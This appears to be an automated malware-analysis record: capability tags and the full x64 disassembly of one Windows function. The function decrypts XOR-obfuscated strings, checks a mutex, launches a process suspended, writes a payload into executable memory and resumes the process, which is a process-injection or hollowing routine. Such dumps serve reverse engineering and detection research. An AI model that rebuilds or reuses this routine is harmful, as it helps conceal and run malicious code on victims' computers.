Function at 0x4aa660
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Resume thread
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3b8
lea rcx, [rsp + 0x98]
call fcn.0040245f
mov rbx, qword [rsp + 0xa0]
lea rsi, [rsp + 0xb8]
lea rax, [rsi + 0x10]
mov rdi, qword [rsp + 0x98]
mov qword [rsp + 0xb8], rax
cmp rbx, 7
mov qword [rsp + 0x128], rbx
jbe 0x406e08
lea rcx, [rsp + 0x128]
xor edx, edx
call fcn.0040155e
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0xc8], rax
mov rdx, qword [rsp + 0xb8]
xor eax, eax
cmp rbx, rax
je 0x406e25
movsx cx, byte [rdi + rax]
mov word [rdx + rax*2], cx
inc rax
jmp 0x406e12
mov rdx, qword [rsp + 0x128]
mov rcx, rsi
call fcn.00498270
call fcn.004016ae
call fcn.004020a8
test eax, eax
mov ebx, eax
jne 0x4071da
lea rcx, [0x004ac320]
call fcn.00412ff0
lea rcx, [0x004ac300]
mov r12, rax
call fcn.00412ff0
cmp byte [r12], 0
mov rdx, rax
lea rbp, [rax + 0xc]
jne 0x406ee3
lea rsi, [0x004b0320]
mov ecx, 0x20
mov byte [rax + 0xa], 0
lea rdi, [rsp + 0x128]
mov qword [rax], 0
rep movsd dword [rdi], dword [rsi]
mov word [rax + 8], 0
mov ecx, 0x20
mov eax, ebx
lea rdi, [rsp + 0x1a8]
lea rsi, [rsp + 0x128]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x1d
mov rdi, rbp
rep stosd dword [rdi], eax
lea r8, [rsp + 0x1a8]
mov eax, 0xc
mov cx, word [r8 + rax]
mov word [rdx + rax], cx
add rax, 2
cmp rax, 0x80
jne 0x406ec9
mov byte [r12], 1
cmp byte [rdx + 0xa], 0
jne 0x406f60
mov rax, rbp
mov r9d, 0xffffff98
mov ecx, dword [rdx + 4]
lea r11d, [rcx + 1]
lea edi, [rcx + 2]
lea r13d, [rcx + 4]
lea r15d, [rcx + 5]
lea r10d, [rcx + 4]
lea r14d, [rcx + 3]
lea r12d, [rcx + 2]
lea esi, [rcx + 1]
mov r8d, dword [rdx]
cmp r8d, r11d
jne 0x406f26
xor word [rax], si
inc r8d
mov dword [rdx], r8d
jmp 0x406f13
cmp r8d, edi
jne 0x406f31
xor word [rax], r12w
jmp 0x406f1e
cmp r8d, ecx
jne 0x406f3c
xor word [rax], r9w
jmp 0x406f52
cmp r8d, r13d
jne 0x406f47
xor word [rax], r14w
jmp 0x406f1e
cmp r8d, r15d
jne 0x406f52
xor word [rax], r10w
jmp 0x406f1e
inc r9d
add rax, 2
cmp r9w, 0xffd2
jne 0x406ef2
mov rax, qword [rsp + 0xb8]
mov byte [rdx + 0xa], 1
lea rcx, [0x004ac360]
mov qword [rsp + 0x58], rax
call fcn.00412ff0
lea rcx, [0x004ac340]
mov r12, rax
call fcn.00412ff0
cmp byte [r12], 0
mov rdx, rax
lea r8, [rax + 0xc]
jne 0x407009
lea rsi, [0x004b02a0]
mov ecx, 0x19
mov byte [rax + 0xa], 0
lea rdi, [rsp + 0x128]
mov qword [rax], 0
rep movsd dword [rdi], dword [rsi]
mov word [rax + 8], 0
mov ecx, 0x19
xor eax, eax
lea rdi, [rsp + 0x1a8]
lea rsi, [rsp + 0x128]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x56
mov rdi, r8
rep stosb byte [rdi], al
lea r9, [rsp + 0x1a8]
mov eax, 0xc
mov cx, word [r9 + rax]
mov word [rdx + rax], cx
add rax, 2
cmp rax, 0x62
jne 0x406ff1
mov byte [r12], 1
cmp byte [rdx + 0xa], 0
jne 0x40708b
mov rax, r8
mov r10d, 0xffffff98
mov ecx, dword [rdx + 4]
lea esi, [rcx + 1]
mov dword [rsp + 0x50], esi
lea edi, [rcx + 2]
lea r13d, [rcx + 4]
lea r15d, [rcx + 5]
lea r11d, [rcx + 4]
lea r14d, [rcx + 3]
lea r12d, [rcx + 2]
lea esi, [rcx + 1]
mov r9d, dword [rdx]
cmp dword [rsp + 0x50], r9d
jne 0x407051
xor word [rax], si
inc r9d
mov dword [rdx], r9d
jmp 0x40703c
cmp r9d, edi
jne 0x40705c
xor word [rax], r12w
jmp 0x407049
cmp ecx, r9d
jne 0x407067
xor word [rax], r10w
jmp 0x40707d
cmp r9d, r13d
jne 0x407072
xor word [rax], r14w
jmp 0x407049
cmp r9d, r15d
jne 0x40707d
xor word [rax], r11w
jmp 0x407049
inc r10d
add rax, 2
cmp r10w, 0xffc3
jne 0x407018
mov r9, qword [rsp + 0x58]
mov byte [rdx + 0xa], 1
lea rcx, [rsp + 0x1a8]
mov edx, 0x104
call fcn.004015fb
lea rcx, [0x004ac3a0]
call fcn.00412ff0
lea rcx, [0x004ac380]
mov rsi, rax
call fcn.00412ff0
cmp byte [rsi], 0
mov r8, rax
lea rdx, [rax + 0xc]
jne 0x407128
mov ecx, 3
mov rdi, rdx
movabs rax, 0xfffdfff5ffefffeb
mov qword [r8], 0
mov qword [rsp + 0x134], rax
xor eax, eax
mov word [r8 + 8], 0
mov byte [r8 + 0xa], 0
mov dword [rsp + 0x13c], 0xff9effee
rep stosd dword [rdi], eax
mov eax, 0xc
mov cx, word [rsp + rax + 0x128]
mov word [r8 + rax], cx
add rax, 2
cmp rax, 0x18
jne 0x40710e
mov byte [rsi], 1
cmp byte [r8 + 0xa], 0
jne 0x4071ac
mov rax, rdx
mov r10d, 0xffffff99
mov ecx, dword [r8 + 4]
lea esi, [rcx + 1]
mov dword [rsp + 0x50], esi
lea edi, [rcx + 2]
lea r13d, [rcx + 4]
lea r15d, [rcx + 5]
lea r11d, [rcx + 4]
lea r14d, [rcx + 3]
lea r12d, [rcx + 2]
lea esi, [rcx + 1]
mov r9d, dword [r8]
cmp r9d, dword [rsp + 0x50]
jne 0x407172
xor word [rax], si
inc r9d
mov dword [r8], r9d
jmp 0x40715d
cmp r9d, edi
jne 0x40717d
xor word [rax], r12w
jmp 0x40716a
cmp r9d, ecx
jne 0x407188
xor word [rax], r10w
jmp 0x40719e
cmp r9d, r13d
jne 0x407193
xor word [rax], r14w
jmp 0x40716a
cmp r9d, r15d
jne 0x40719e
xor word [rax], r11w
jmp 0x40716a
inc r10d
add rax, 2
cmp r10w, 0xff9f
jne 0x407138
mov byte [r8 + 0xa], 1
lea r9, [rsp + 0x1a8]
mov r8, rbp
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x407d4a
lea rcx, [0x004ac3e0]
call fcn.00412ff0
lea rcx, [0x004ac3c0]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r9, rax
lea r8, [rax + 0xa]
jne 0x407267
lea rdi, [rsp + 0x128]
mov ecx, 6
mov qword [rax], 0
lea rsi, [0x004b0270]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x1a8]
mov ecx, 6
lea rsi, [rsp + 0x128]
rep movsd dword [rdi], dword [rsi]
mov ecx, 3
mov rdi, r8
rep stosd dword [rdi], eax
lea rcx, [rsp + 0x1a8]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r9 + rax], dl
inc rax
cmp rax, 0x16
jne 0x407254
mov byte [rbx], 1
cmp byte [r9 + 9], 0
mov rdx, r8
mov r10b, 0x99
jne 0x4072cc
mov eax, dword [r9 + 4]
mov ecx, dword [r9]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x407288
inc eax
jmp 0x4072b9
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x407296
add eax, 2
jmp 0x4072b9
cmp ecx, eax
jne 0x40729f
xor byte [rdx], r10b
jmp 0x4072c0
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x4072ad
add eax, 3
jmp 0x4072b9
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x4072c0
add eax, 4
xor byte [rdx], al
inc dword [r9]
jmp 0x407274
inc r10d
inc rdx
cmp r10b, 0xa5
jne 0x407274
mov byte [r9 + 9], 1
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4072fe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
jmp 0x407d4a
call fcn.00404d08
test eax, eax
mov ebx, eax
je 0x407314
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x004ac4a0]
call fcn.00412ff0
lea rcx, [0x004ac480]
mov r12, rax
call fcn.00412ff0
cmp byte [r12], 0
mov r8, rax
lea rbp, [rax + 0xa]
jne 0x4073b0
lea rdi, [rsp + 0x128]
mov ecx, 0x16
mov qword [rax], 0
lea rsi, [0x004b01e0]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x1a8]
mov ecx, 0x16
lea rsi, [rsp + 0x128]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x4d
mov rdi, rbp
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a8]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x57
jne 0x40739b
mov byte [r12], 1
cmp byte [r8 + 9], 0
mov rdx, rbp
mov r9b, 0x9a
jne 0x407415
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r10d, [rax + 1]
cmp ecx, r10d
jne 0x4073d1
inc eax
jmp 0x407402
lea r10d, [rax + 2]
cmp ecx, r10d
jne 0x4073df
add eax, 2
jmp 0x407402
cmp ecx, eax
jne 0x4073e8
xor byte [rdx], r9b
jmp 0x407409
lea r10d, [rax + 4]
cmp ecx, r10d
jne 0x4073f6
add eax, 3
jmp 0x407402
lea r10d, [rax + 5]
cmp ecx, r10d
jne 0x407409
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x4073bd
inc r9d
inc rdx
cmp r9b, 0xe7
jne 0x4073bd
mov byte [r8 + 9], 1
lea rcx, [0x004ac460]
call fcn.00412ff0
lea rcx, [0x004ac440]
mov r12, rax
call fcn.00412ff0
cmp byte [r12], 0
mov r9, rax
lea r8, [rax + 0xa]
jne 0x4074ab
lea rdi, [rsp + 0x128]
mov ecx, 6
mov qword [rax], 0
lea rsi, [0x004b0240]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x1a8]
mov ecx, 6
lea rsi, [rsp + 0x128]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0xb
mov rdi, r8
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a8]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r9 + rax], dl
inc rax
cmp rax, 0x15
jne 0x407496
mov byte [r12], 1
cmp byte [r9 + 9], 0
mov rdx, r8
mov r10b, 0x9a
jne 0x407510
mov eax, dword [r9 + 4]
mov ecx, dword [r9]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x4074cc
inc eax
jmp 0x4074fd
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x4074da
add eax, 2
jmp 0x4074fd
cmp ecx, eax
jne 0x4074e3
xor byte [rdx], r10b
jmp 0x407504
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x4074f1
add eax, 3
jmp 0x4074fd
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x407504
add eax, 4
xor byte [rdx], al
inc dword [r9]
jmp 0x4074b8
inc r10d
inc rdx
cmp r10b, 0xa5
jne 0x4074b8
mov byte [r9 + 9], 1
lea rcx, [0x004ac420]
mov qword [rsp + 0x50], r8
call fcn.00412ff0
lea rcx, [0x004ac400]
mov rsi, rax
call fcn.00412ff0
cmp byte [rsi], 0
mov r8, qword [rsp + 0x50]
jne 0x407591
mov rdx, qword [0x004b0268]
mov qword [rax], 0
mov rcx, qword [0x004b0260]
mov word [rax + 8], 0
mov qword [rsp + 0x1b0], rdx
mov qword [rsp + 0x130], rdx
mov edx, dword [rsp + 0x1b2]
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x1a8], rcx
mov dword [rax + 0xa], edx
mov dl, byte [rsp + 0x1b6]
mov byte [rax + 0xe], dl
mov byte [rsi], 1
cmp byte [rax + 9], 0
lea rdx, [rax + 0xa]
mov r11b, 0x9a
mov r9, rdx
jne 0x4075f5
mov ecx, dword [rax + 4]
mov r10d, dword [rax]
lea esi, [rcx + 1]
cmp r10d, esi
jne 0x4075b3
inc ecx
jmp 0x4075e2
lea esi, [rcx + 2]
cmp r10d, esi
jne 0x4075c0
add ecx, 2
jmp 0x4075e2
cmp r10d, ecx
jne 0x4075ca
xor byte [r9], r11b
jmp 0x4075e9
lea esi, [rcx + 4]
cmp r10d, esi
jne 0x4075d7
add ecx, 3
jmp 0x4075e2
lea esi, [rcx + 5]
cmp r10d, esi
jne 0x4075e9
add ecx, 4
xor byte [r9], cl
inc dword [rax]
jmp 0x4075a1
inc r11d
inc r9
cmp r11b, 0x9f
jne 0x4075a1
mov byte [rax + 9], 1
mov r9, rbp
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [0x004ac4e0]
call fcn.00412ff0
lea rcx, [0x004ac4c0]
mov rbp, rax
call fcn.00412ff0
cmp byte [rbp], 0
mov r8, rax
lea rdx, [rax + 0xa]
jne 0x4076a5
lea rdi, [rsp + 0x128]
mov ecx, 7
mov qword [rax], 0
lea rsi, [0x004b01c0]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x1a8]
mov ecx, 7
lea rsi, [rsp + 0x128]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0xf
mov rdi, rdx
rep stosb byte [rdi], al
lea r9, [rsp + 0x1a8]
mov eax, 0xa
mov cl, byte [r9 + rax]
mov byte [r8 + rax], cl
inc rax
cmp rax, 0x19
jne 0x407690
mov byte [rbp], 1
cmp byte [r8 + 9], 0
mov rcx, rdx
mov r10b, 0x9b
jne 0x40770b
mov eax, dword [r8 + 4]
mov r9d, dword [r8]
lea r11d, [rax + 1]
cmp r9d, r11d
jne 0x4076c6
inc eax
jmp 0x4076f8
lea r11d, [rax + 2]
cmp r9d, r11d
jne 0x4076d4
add eax, 2
jmp 0x4076f8
cmp r9d, eax
jne 0x4076de
xor byte [rcx], r10b
jmp 0x4076ff
lea r11d, [rax + 4]
cmp r9d, r11d
jne 0x4076ec
add eax, 3
jmp 0x4076f8
lea r11d, [rax + 5]
cmp r9d, r11d
jne 0x4076ff
add eax, 4
xor byte [rcx], al
inc dword [r8]
jmp 0x4076b2
inc r10d
inc rcx
cmp r10b, 0xaa
jne 0x4076b2
lea rbp, [rsp + 0x1a8]
mov byte [r8 + 9], 1
mov rcx, rbp
call fcn.004023f2
mov rcx, rbp
call fcn.00402499
mov esi, eax
mov rcx, rbp
call fcn.00495540
test esi, esi
jne 0x40773b
call fcn.00403410
mov qword [rsp + 0x68], 0
lea rcx, [0x004ac520]
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
call fcn.00412ff0
lea rcx, [0x004ac500]
mov r12, rax
call fcn.00412ff0
cmp byte [r12], 0
mov rdx, rax
lea r9, [rax + 0xc]
jne 0x4077e1
lea rsi, [0x004b0180]
mov ecx, 0xe
mov byte [rax + 0xa], 0
lea rdi, [rsp + 0x128]
mov qword [rax], 0
rep movsd dword [rdi], dword [rsi]
mov word [rax + 8], 0
mov ecx, 0xe
xor eax, eax
lea rsi, [rsp + 0x128]
mov rdi, rbp
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x2a
mov rdi, r9
rep stosb byte [rdi], al
mov eax, 0xc
mov cx, word [rbp + rax]
mov word [rdx + rax], cx
add rax, 2
cmp rax, 0x36
jne 0x4077c9
mov byte [r12], 1
cmp byte [rdx + 0xa], 0
jne 0x407863
mov rax, r9
mov r10d, 0xffffff9b
mov ecx, dword [rdx + 4]
lea esi, [rcx + 1]
mov dword [rsp + 0x50], esi
lea edi, [rcx + 2]
lea r13d, [rcx + 4]
lea r15d, [rcx + 5]
lea r11d, [rcx + 4]
lea r14d, [rcx + 3]
lea r12d, [rcx + 2]
lea esi, [rcx + 1]
mov r8d, dword [rdx]
cmp r8d, dword [rsp + 0x50]
jne 0x407829
xor word [rax], si
inc r8d
mov dword [rdx], r8d
jmp 0x407814
cmp r8d, edi
jne 0x407834
xor word [rax], r12w
jmp 0x407821
cmp r8d, ecx
jne 0x40783f
xor word [rax], r10w
jmp 0x407855
cmp r8d, r13d
jne 0x40784a
xor word [rax], r14w
jmp 0x407821
cmp r8d, r15d
jne 0x407855
xor word [rax], r11w
jmp 0x407821
inc r10d
add rax, 2
cmp r10w, 0xffb0
jne 0x4077f0
lea r13, [rsp + 0x68]
mov byte [rdx + 0xa], 1
mov rcx, r9
mov rdx, r13
call fcn.004021ca
test eax, eax
je 0x407ca3
lea rcx, [0x004ac560]
call fcn.00412ff0
lea rcx, [0x004ac540]
mov r12, rax
call fcn.00412ff0
cmp byte [r12], 0
mov r8, rax
lea rdx, [rax + 0xa]
jne 0x407907
lea rdi, [rsp + 0x128]
mov ecx, 7
mov qword [rax], 0
lea rsi, [0x004b0150]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rsi, [rsp + 0x128]
mov ecx, 7
mov rdi, rbp
rep movsd dword [rdi], dword [rsi]
mov ecx, 0xf
mov rdi, rdx
rep stosb byte [rdi], al
mov eax, 0xa
mov cl, byte [rsp + rax + 0x1a8]
mov byte [r8 + rax], cl
inc rax
cmp rax, 0x19
jne 0x4078ee
mov byte [r12], 1
cmp byte [r8 + 9], 0
mov rcx, rdx
mov r10b, 0x9b
jne 0x40796d
mov eax, dword [r8 + 4]
mov r9d, dword [r8]
lea r11d, [rax + 1]
cmp r9d, r11d
jne 0x407928
inc eax
jmp 0x40795a
lea r11d, [rax + 2]
cmp r9d, r11d
jne 0x407936
add eax, 2
jmp 0x40795a
cmp r9d, eax
jne 0x407940
xor byte [rcx], r10b
jmp 0x407961
lea r11d, [rax + 4]
cmp r9d, r11d
jne 0x40794e
add eax, 3
jmp 0x40795a
lea r11d, [rax + 5]
cmp r9d, r11d
jne 0x407961
add eax, 4
xor byte [rcx], al
inc dword [r8]
jmp 0x407914
inc r10d
inc rcx
cmp r10b, 0xaa
jne 0x407914
lea r12, [rsp + 0xd8]
mov byte [r8 + 9], 1
mov rcx, r12
call fcn.004023f2
mov rdx, r12
mov rcx, r13
mov rdi, rbp
call fcn.00402158
xor eax, eax
mov ecx, 0x1a
mov r13, qword [0x004da048]
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x80]
mov ecx, 6
rep stosd dword [rdi], eax
lea rcx, [0x004ac5a0]
call fcn.00412ff0
lea rcx, [0x004ac580]
mov r14, rax
call fcn.00412ff0
cmp byte [r14], 0
mov rdx, rax
lea r10, [rax + 0xa]
jne 0x407a3e
lea rdi, [rsp + 0xf8]
mov ecx, 0xc
mov qword [rax], 0
lea rsi, [0x004b0120]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x128]
mov ecx, 0xc
lea rsi, [rsp + 0xf8]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x26
mov rdi, r10
rep stosb byte [rdi], al
lea r8, [rsp + 0x128]
mov eax, 0xa
mov cl, byte [r8 + rax]
mov byte [rdx + rax], cl
inc rax
cmp rax, 0x30
jne 0x407a2a
mov byte [r14], 1
cmp byte [rdx + 9], 0
mov rcx, r10
mov r9b, 0x9c
jne 0x407aa1
mov eax, dword [rdx + 4]
mov r8d, dword [rdx]
lea r11d, [rax + 1]
cmp r8d, r11d
jne 0x407a5d
inc eax
jmp 0x407a8f
lea r11d, [rax + 2]
cmp r8d, r11d
jne 0x407a6b
add eax, 2
jmp 0x407a8f
cmp r8d, eax
jne 0x407a75
xor byte [rcx], r9b
jmp 0x407a95
lea r11d, [rax + 4]
cmp r8d, r11d
jne 0x407a83
add eax, 3
jmp 0x407a8f
lea r11d, [rax + 5]
cmp r8d, r11d
jne 0x407a95
add eax, 4
xor byte [rcx], al
inc dword [rdx]
jmp 0x407a4a
inc r9d
inc rcx
cmp r9b, 0xc2
jne 0x407a4a
mov byte [rdx + 9], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rbp
mov rcx, r10
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
call r13
mov rbp, qword [rsp + 0x80]
mov r9d, 0x3000
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r8, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x88]
sub r8, qword [rsp + 0x68]
mov rcx, rbp
call qword [0x004da040]
mov r8, qword [rsp + 0x68]
mov rsi, rax
mov rdx, rax
mov rcx, rbp
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x70]
sub r9, r8
call qword [0x004da058]
mov rdx, qword [rsp + 0x70]
xor r9d, r9d
mov r8d, 0x20
mov rcx, rsi
sub rdx, qword [rsp + 0x68]
call qword [0x004da038]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [0x004da050]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, [0x004ac5e0]
call fcn.00412ff0
lea rcx, [0x004ac5c0]
mov rbp, rax
call fcn.00412ff0
cmp byte [rbp], 0
mov r8, rax
lea rdx, [rax + 0xa]
jne 0x407c03
lea rdi, [rsp + 0xf8]
mov ecx, 7
mov qword [rax], 0
lea rsi, [0x004b0100]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x128]
mov ecx, 7
lea rsi, [rsp + 0xf8]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0xf
mov rdi, rdx
rep stosb byte [rdi], al
lea r9, [rsp + 0x128]
mov eax, 0xa
mov cl, byte [r9 + rax]
mov byte [r8 + rax], cl
inc rax
cmp rax, 0x19
jne 0x407bee
mov byte [rbp], 1
cmp byte [r8 + 9], 0
mov rcx, rdx
mov r10b, 0x9c
jne 0x407c69
mov eax, dword [r8 + 4]
mov r9d, dword [r8]
lea r11d, [rax + 1]
cmp r9d, r11d
jne 0x407c24
inc eax
jmp 0x407c56
lea r11d, [rax + 2]
cmp r9d, r11d
jne 0x407c32
add eax, 2
jmp 0x407c56
cmp r9d, eax
jne 0x407c3c
xor byte [rcx], r10b
jmp 0x407c5d
lea r11d, [rax + 4]
cmp r9d, r11d
jne 0x407c4a
add eax, 3
jmp 0x407c56
lea r11d, [rax + 5]
cmp r9d, r11d
jne 0x407c5d
add eax, 4
xor byte [rcx], al
inc dword [r8]
jmp 0x407c10
inc r10d
inc rcx
cmp r10b, 0xab
jne 0x407c10
lea rsi, [rsp + 0x128]
mov byte [r8 + 9], 1
mov rcx, rsi
call fcn.004023f2
mov rcx, rsi
call fcn.00402499
mov edi, eax
mov rcx, rsi
call fcn.00495540
test edi, edi
jne 0x407c99
call fcn.00402529
mov rcx, r12
call fcn.00495540
jmp 0x407ca8
mov ebx, 1
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x407d4a
call fcn.004a8a70
jmp 0x407d4a
lea rcx, [rsp + 0xb8]
call fcn.00497c30
lea rcx, [rsp + 0x98]
call fcn.00495540
mov eax, ebx
add rsp, 0x3b8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
sub rsp, 0x28
call fcn.00411530
mov rax, qword [0x004b6870]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x004b6860]
mov r8, qword [rax]
mov rax, qword [0x004b6850]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x406d8f